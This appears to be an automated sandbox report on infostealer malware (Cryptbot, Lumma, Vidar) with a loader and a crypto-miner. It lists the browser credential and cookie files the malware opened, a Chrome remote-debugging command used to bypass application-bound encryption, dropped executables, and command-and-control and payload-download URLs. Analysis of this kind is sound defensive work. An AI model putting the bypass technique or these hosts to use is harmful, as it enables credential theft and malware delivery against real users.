Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\minidumps\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\glean\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\crashes\events\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\archived\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\glean\pending_pings\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\crashes\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\bookmarkbackups\key4.db	Jump to behavior

Source: Yara match	File source: 00000011.00000002.3105087259.0000000003E81000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Dry.com PID: 8124, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"

Yara detected Cryptbot

Source: Yara match

File source: dump.pcap, type: PCAP

Yara detected LummaC Stealer

Source: Yara match

File source: sslproxydump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: 17.2.Dry.com.3e80000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000011.00000002.3105087259.0000000003E81000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.3092456644.000000000115D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.3094195378.0000000001208000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000003.2594494843.0000000003B81000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000003.2595246791.000000000123D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000003.2594848558.0000000003E86000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000033.00000002.3004074654.00000000037C3000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000003.2594615293.0000000001170000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Dry.com PID: 8124, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: d59846009d.exe PID: 1340, type: MEMORYSTR
Source: Yara match	File source: C:\nmckayer\3477ac361a61484faa59cc92fe88289c.exe, type: DROPPED

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00D2EC48 Concurrency::details::ContextBase::TraceContextEvent,Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,		6_2_00D2EC48
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00D2DF51 Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,Concurrency::details::SchedulerBase::GetInternalContext,		6_2_00D2DF51

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	1 Windows Management Instrumentation	1 Scripting	1 DLL Side-Loading	11 Disable or Modify Tools	1 OS Credential Dumping	1 System Time Discovery	Remote Services	11 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 Extra Window Memory Injection	11 Deobfuscate/Decode Files or Information	LSASS Memory	2 File and Directory Discovery	Remote Desktop Protocol	1 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	12 Command and Scripting Interpreter	11 Scheduled Task/Job	212 Process Injection	31 Obfuscated Files or Information	Security Account Manager	236 System Information Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	11 Scheduled Task/Job	Login Hook	11 Scheduled Task/Job	121 Software Packing	NTDS	861 Security Software Discovery	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	2 PowerShell	Network Logon Script	Network Logon Script	1 Timestomp	LSA Secrets	13 Process Discovery	SSH	Keylogging	114 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	271 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Extra Window Memory Injection	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	111 Masquerading	Proc Filesystem	11 Remote System Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	271 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	1 System Network Configuration Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	212 Process Injection	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	55%	ReversingLabs	Win32.Trojan.CryptBot
file.exe	58%	Virustotal		Browse
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\main\extracted\in.exe	100%	Avira	HEUR/AGEN.1352802
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1019255001\331488c9a5.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	100%	Avira	HEUR/AGEN.1320706
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1019256001\f9567e9ef8.exe	100%	Avira	HEUR/AGEN.1320706
C:\Users\user\AppData\Local\Temp\1019252001\8b67fa16f7.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\main\extracted\in.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1019257001\43a8c4054b.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1019255001\331488c9a5.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1019256001\f9567e9ef8.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[3].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1019252001\8b67fa16f7.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	8%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	57%	ReversingLabs	ByteCode-MSIL.Trojan.Zilla
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe	28%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe	87%	ReversingLabs	Win32.Trojan.Amadey
C:\Users\user\AppData\Local\Temp\1019250001\01d781eb0f.exe	8%	ReversingLabs
C:\Users\user\AppData\Local\Temp\1019251001\d208a35154.exe	87%	ReversingLabs	Win32.Trojan.Amadey
C:\Users\user\AppData\Local\Temp\1019253001\73aaed44cf.exe	28%	ReversingLabs
C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe	57%	ReversingLabs	ByteCode-MSIL.Trojan.Zilla
C:\Users\user\AppData\Local\Temp\245347\Dry.com	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	58%	ReversingLabs	Win32.Trojan.CryptBot
C:\Users\user\AppData\Local\Temp\main\7z.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\main\7z.exe	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\main\extracted\in.exe	70%	ReversingLabs	Win64.Trojan.Nekark
C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	70%	ReversingLabs	Win64.Trojan.Nekark
C:\nmckayer\2d28fff282f940b9a303e100d9504cbd.exe	0%	ReversingLabs
C:\nmckayer\3477ac361a61484faa59cc92fe88289c.exe	83%	ReversingLabs	Win32.Trojan.Malgent

Name	IP	Active	Malicious	Reputation
home.fivetk5ht.top	185.121.15.192	true	false	high
treehoneyi.click	172.67.180.113	true	false	high
toptek.sbs	94.130.188.57	true	true	unknown
github.com	20.233.83.145	true	false	high
t.me	149.154.167.99	true	false	high
raw.githubusercontent.com	185.199.108.133	true	false	high
www.google.com	172.217.19.228	true	false	high
fivetk5ht.top	185.121.15.192	true	false	high
httpbin.org	34.226.108.155	true	false	high
bGZEIFIQcYIvivmO.bGZEIFIQcYIvivmO	unknown	unknown	false	unknown

Contacted URLs

Name	Malicious	Reputation
http://fivetk5ht.top/v1/upload.php	false	high
aspecteirs.lat	false	high
http://home.fivetk5ht.top/zldPRFrmVFHTtKntGpOv1734579851?argument=cIeJvepBJewrgaFw1734772545	true	unknown
energyaffai.lat	false	high
https://treehoneyi.click/api	false	high
http://home.fivetk5ht.top/zldPRFrmVFHTtKntGpOv1734579851	false	high
grannyejh.lat	false	high
necklacebudi.lat	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://duckduckgo.com/chrome_newtab	Dry.com, 00000011.00000002.3097535633.0000000003BF9000.00000004.00000800.00020000.00000000.sdmp	false	high
https://mail.google.com/mail/?usp=installed_webapp	chrome.exe, 00000032.00000003.2793267074.00000AD002730000.00000004.00000800.00020000.00000000.sdmp	false	high
https://duckduckgo.com/ac/?q=	Dry.com, 00000011.00000002.3097535633.0000000003BF9000.00000004.00000800.00020000.00000000.sdmp	false	high
http://31.41.244.11/files/unique2/random.exe&	skotes.exe, 00000006.00000002.3094333474.000000000154A000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://crl.microsoft	powershell.exe, 0000003A.00000002.2915587458.00000000083D2000.00000004.00000020.00020000.00000000.sdmp	false	high
https://docs.google.com/document/J	chrome.exe, 00000032.00000003.2793267074.00000AD002730000.00000004.00000800.00020000.00000000.sdmp	false	high
https://treehoneyi.click/apig	73aaed44cf.exe, 00000031.00000002.2846056066.00000000033DA000.00000004.00000800.00020000.00000000.sdmp	false	unknown
http://anglebug.com/4633	chrome.exe, 00000032.00000003.2812994462.00000AD0029B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2812923769.00000AD002580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2804100336.00000AD002580000.00000004.00000800.00020000.00000000.sdmp	false	high
https://anglebug.com/7382	chrome.exe, 00000032.00000003.2812994462.00000AD0029B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2812923769.00000AD002580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2804100336.00000AD002580000.00000004.00000800.00020000.00000000.sdmp	false	high
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	Dry.com, 00000011.00000002.3136429007.00000000063F5000.00000004.00000800.00020000.00000000.sdmp, Dry.com, 00000011.00000002.3094195378.000000000128B000.00000004.00000020.00020000.00000000.sdmp	false	high
https://issuetracker.google.com/284462263	chrome.exe, 00000032.00000003.2804100336.00000AD002580000.00000004.00000800.00020000.00000000.sdmp	false	high
https://treehoneyi.click/4	73aaed44cf.exe, 00000031.00000002.2846056066.00000000033C0000.00000004.00000800.00020000.00000000.sdmp	false	unknown
http://crls.ssl.com/SSLcom-RootCA-EV-RSA-4096-R2.crl0	skotes.exe, 00000006.00000002.3094333474.0000000001537000.00000004.00000020.00020000.00000000.sdmp	false	high
http://cert.ssl.com/SSLcom-SubCA-EV-CodeSigning-RSA-4096-R3.cer0_	skotes.exe, 00000006.00000002.3094333474.0000000001537000.00000004.00000020.00020000.00000000.sdmp	false	high
https://publickeyservice.gcp.privacysandboxservices.com	chrome.exe, 00000032.00000003.2846709355.00000AD00360C000.00000004.00000800.00020000.00000000.sdmp	false	high
http://polymer.github.io/AUTHORS.txt	chrome.exe, 00000032.00000003.2822979654.00000AD0032D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2822225499.00000AD0029B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2820870309.00000AD003258000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2821217749.00000AD00317C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2820925023.00000AD0032A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2822095699.00000AD002EE8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2822671160.00000AD0025B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2821722179.00000AD003274000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2823135016.00000AD00340C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2820709809.00000AD003148000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2822168785.00000AD002C48000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2822293464.00000AD0031C0000.00000004.00000800.00020000.00000000.sdmp	false	high
https://docs.google.com/	chrome.exe, 00000032.00000003.2792234176.00000AD0026A4000.00000004.00000800.00020000.00000000.sdmp	false	high
https://docs.google.com/document/:	chrome.exe, 00000032.00000003.2793267074.00000AD002730000.00000004.00000800.00020000.00000000.sdmp	false	high
https://publickeyservice.pa.aws.privacysandboxservices.com	chrome.exe, 00000032.00000003.2846709355.00000AD00360C000.00000004.00000800.00020000.00000000.sdmp	false	high
https://g.live.com/odclientsettings/Prod.C:	svchost.exe, 00000035.00000003.2789048457.00000120EC72F000.00000004.00000800.00020000.00000000.sdmp	false	high
https://anglebug.com/7714	chrome.exe, 00000032.00000003.2812994462.00000AD0029B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2812923769.00000AD002580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2804100336.00000AD002580000.00000004.00000800.00020000.00000000.sdmp	false	high
https://photos.google.com?referrer=CHROME_NTP	chrome.exe, 00000032.00000003.2822979654.00000AD0032D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2822671160.00000AD0025B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2823135016.00000AD00340C000.00000004.00000800.00020000.00000000.sdmp	false	high
https://nuget.org/nuget.exe	powershell.exe, 00000037.00000002.2853405452.0000000005DB5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000003A.00000002.2894630097.00000000058B4000.00000004.00000800.00020000.00000000.sdmp	false	high
https://drive.google.com/?lfhs=2	chrome.exe, 00000032.00000003.2793267074.00000AD002730000.00000004.00000800.00020000.00000000.sdmp	false	high
http://anglebug.com/6248	chrome.exe, 00000032.00000003.2812994462.00000AD0029B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2812923769.00000AD002580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2804100336.00000AD002580000.00000004.00000800.00020000.00000000.sdmp	false	high
https://ogs.google.com/widget/callout?eom=1	chrome.exe, 00000032.00000003.2865055795.00000AD004680000.00000004.00000800.00020000.00000000.sdmp	false	high
http://anglebug.com/6929	chrome.exe, 00000032.00000003.2812994462.00000AD0029B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2812923769.00000AD002580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2804100336.00000AD002580000.00000004.00000800.00020000.00000000.sdmp	false	high
http://anglebug.com/5281	chrome.exe, 00000032.00000003.2812994462.00000AD0029B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2812923769.00000AD002580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2804100336.00000AD002580000.00000004.00000800.00020000.00000000.sdmp	false	high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	d59846009d.exe, 00000033.00000002.2997822774.0000000002661000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000037.00000002.2847065209.0000000004D51000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000003A.00000002.2889069926.0000000004851000.00000004.00000800.00020000.00000000.sdmp	false	high
https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6	svchost.exe, 00000035.00000003.2789048457.00000120EC6F2000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.youtube.com/?feature=ytca	chrome.exe, 00000032.00000003.2793267074.00000AD002730000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94	Dry.com, 00000011.00000002.3136429007.00000000063F5000.00000004.00000800.00020000.00000000.sdmp, Dry.com, 00000011.00000002.3094195378.000000000128B000.00000004.00000020.00020000.00000000.sdmp	false	high
http://crt.sectigo.com/SectigoPublicTimeStampingRootR46.p7c0#	skotes.exe, 00000006.00000002.3094333474.0000000001572000.00000004.00000020.00020000.00000000.sdmp	false	high
https://issuetracker.google.com/255411748	chrome.exe, 00000032.00000003.2804100336.00000AD002580000.00000004.00000800.00020000.00000000.sdmp	false	high
https://raw.githubusercontent.comD	d59846009d.exe, 00000033.00000002.2997822774.00000000027A6000.00000004.00000800.00020000.00000000.sdmp	false	unknown
https://csp.withgoogle.com/csp/gws/cdt1rj	chrome.exe, 00000032.00000003.2846284256.00000AD003B20000.00000004.00000800.00020000.00000000.sdmp	false	high
https://anglebug.com/7246	chrome.exe, 00000032.00000003.2812994462.00000AD0029B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2812923769.00000AD002580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2804100336.00000AD002580000.00000004.00000800.00020000.00000000.sdmp	false	high
https://anglebug.com/7369	chrome.exe, 00000032.00000003.2812994462.00000AD0029B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2812923769.00000AD002580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2804100336.00000AD002580000.00000004.00000800.00020000.00000000.sdmp	false	high
http://pesterbdd.com/images/Pester.png	powershell.exe, 0000003A.00000002.2889069926.00000000049A5000.00000004.00000800.00020000.00000000.sdmp	false	high
https://anglebug.com/7489	chrome.exe, 00000032.00000003.2812994462.00000AD0029B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2812923769.00000AD002580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2804100336.00000AD002580000.00000004.00000800.00020000.00000000.sdmp	false	high
http://31.41.244.11/files/karl/random.exe	skotes.exe, 00000006.00000002.3094333474.0000000001572000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 0000003A.00000002.2889069926.00000000049A5000.00000004.00000800.00020000.00000000.sdmp	false	high
https://chrome.google.com/webstore	chrome.exe, 00000032.00000003.2813738204.00000AD002EE8000.00000004.00000800.00020000.00000000.sdmp	false	high
https://drive-daily-2.corp.google.com/	chrome.exe, 00000032.00000003.2792234176.00000AD0026A4000.00000004.00000800.00020000.00000000.sdmp	false	high
http://185.215.113.16/luma/random.exe6	skotes.exe, 00000006.00000002.3094333474.000000000154A000.00000004.00000020.00020000.00000000.sdmp	false	high
http://polymer.github.io/PATENTS.txt	chrome.exe, 00000032.00000003.2822979654.00000AD0032D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2822225499.00000AD0029B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2820870309.00000AD003258000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2821217749.00000AD00317C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2820925023.00000AD0032A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2822095699.00000AD002EE8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2822671160.00000AD0025B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2821722179.00000AD003274000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2823135016.00000AD00340C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2820709809.00000AD003148000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2822168785.00000AD002C48000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2822293464.00000AD0031C0000.00000004.00000800.00020000.00000000.sdmp	false	high
https://docs.google.com/document/d/1z2sdBwnUF2tSlhl3R2iUlk7gvmSbuLVXOgriPIcJkXQ/preview	chrome.exe, 00000032.00000003.2856316455.00000AD0038C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2856464030.00000AD0038CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2856175496.00000AD0038C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2856570712.00000AD0038D0000.00000004.00000800.00020000.00000000.sdmp	false	high
https://contoso.com/Icon	powershell.exe, 0000003A.00000002.2894630097.00000000058B4000.00000004.00000800.00020000.00000000.sdmp	false	high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	Dry.com, 00000011.00000002.3097535633.0000000003BF9000.00000004.00000800.00020000.00000000.sdmp	false	high
http://crl.ver)	svchost.exe, 00000035.00000002.3100500790.00000120EC4B0000.00000004.00000020.00020000.00000000.sdmp	false	high
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	Dry.com, 00000011.00000002.3136429007.00000000063F5000.00000004.00000800.00020000.00000000.sdmp, Dry.com, 00000011.00000002.3094195378.000000000128B000.00000004.00000020.00020000.00000000.sdmp	false	high
https://t.me/k04aelm0nk3Mozilla/5.0	d59846009d.exe, 00000033.00000002.3004074654.00000000037C3000.00000004.00000800.00020000.00000000.sdmp	false	high
http://home.fivetk5ht.top/zldPRFrmVFHTtKntGpOv17	8b67fa16f7.exe, 00000030.00000003.2676434059.00000000076E6000.00000004.00001000.00020000.00000000.sdmp	false	high
http://www.autoitscript.com/autoit3/X	Dry.com, 00000011.00000002.3088702420.0000000000A65000.00000002.00000001.01000000.0000000B.sdmp	false	high
https://issuetracker.google.com/161903006	chrome.exe, 00000032.00000003.2804100336.00000AD002580000.00000004.00000800.00020000.00000000.sdmp	false	high
https://xmrig.com/wizard	Intel_PTT_EK_Recertification.exe, 0000002B.00000003.2630489913.000001691FC20000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000002C.00000002.2637283491.00000001402DD000.00000002.00000001.00020000.00000000.sdmp, Intel_PTT_EK_Recertification.exe, 0000003C.00000003.2903221399.0000016D2CD50000.00000004.00000001.00020000.00000000.sdmp	false	high
https://www.ecosia.org/newtab/	Dry.com, 00000011.00000002.3097535633.0000000003BF9000.00000004.00000800.00020000.00000000.sdmp	false	high
http://185.215.113.16/luma/random.exeata	skotes.exe, 00000006.00000002.3094333474.000000000154A000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://drive-daily-1.corp.google.com/	chrome.exe, 00000032.00000003.2792234176.00000AD0026A4000.00000004.00000800.00020000.00000000.sdmp	false	high
http://31.41.244.11/files/martin/random.exe	skotes.exe, 00000006.00000002.3094333474.0000000001572000.00000004.00000020.00020000.00000000.sdmp	false	high
https://github.com/Pester/Pester	powershell.exe, 0000003A.00000002.2889069926.00000000049A5000.00000004.00000800.00020000.00000000.sdmp	false	high
https://drive-daily-5.corp.google.com/	chrome.exe, 00000032.00000003.2792234176.00000AD0026A4000.00000004.00000800.00020000.00000000.sdmp	false	high
http://31.41.244.11/files/burpin1/random.exeU	skotes.exe, 00000006.00000002.3094333474.000000000154A000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://anglebug.com/3078	chrome.exe, 00000032.00000003.2812994462.00000AD0029B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2812923769.00000AD002580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2804100336.00000AD002580000.00000004.00000800.00020000.00000000.sdmp	false	high
http://anglebug.com/7553	chrome.exe, 00000032.00000003.2812994462.00000AD0029B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2812923769.00000AD002580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2804100336.00000AD002580000.00000004.00000800.00020000.00000000.sdmp	false	high
http://anglebug.com/5375	chrome.exe, 00000032.00000003.2812994462.00000AD0029B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2812923769.00000AD002580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2804100336.00000AD002580000.00000004.00000800.00020000.00000000.sdmp	false	high
https://httpbin.org/ipbefore	8b67fa16f7.exe, 00000030.00000003.2676434059.00000000076E6000.00000004.00001000.00020000.00000000.sdmp	false	high
